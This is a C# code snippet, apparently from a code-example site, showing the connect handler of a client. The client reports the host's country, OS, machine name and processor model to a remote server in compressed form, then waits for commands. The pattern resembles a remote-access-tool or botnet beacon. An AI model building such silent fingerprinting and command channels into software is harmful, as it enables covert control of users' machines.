Пример #1
0
        //When connected to server

        #region Connection

        static void OnConnected(Socket s)
        {
            Console.WriteLine("Connected to {0}", s.RemoteEndPoint.ToString());
            Console.WriteLine("WAITING For commands" + Environment.NewLine);
            //Create datareader instance from s Socket and begin reading data
            DataReader reader = new DataReader(s);

            reader.OnDisconnected += OnDisconnectedHandler;
            reader.OnReceived     += HandleCommand;

            Serializer ser = new Serializer();

            Info i = new Info(GetInfo.GetCountry(), GetInfo.GetOS(), GetInfo.Name(),
                              GetInfo.GetProcessorModel()); //Geenerate Info object
            var buf     = ser.Serialize(i);
            var cmp     = Compression.Compress(buf);        //Compress data using GZIP
            var len     = cmp.Length;
            var sendLen = BitConverter.GetBytes(len);

            if (sendLen.Length != 0 && cmp.Length != 0)
            {
                reader.Send(sendLen); //Send data length
                reader.Send(cmp);     //Send data itself
            }
            else
            {
                Process.GetCurrentProcess().Kill();
            }
        }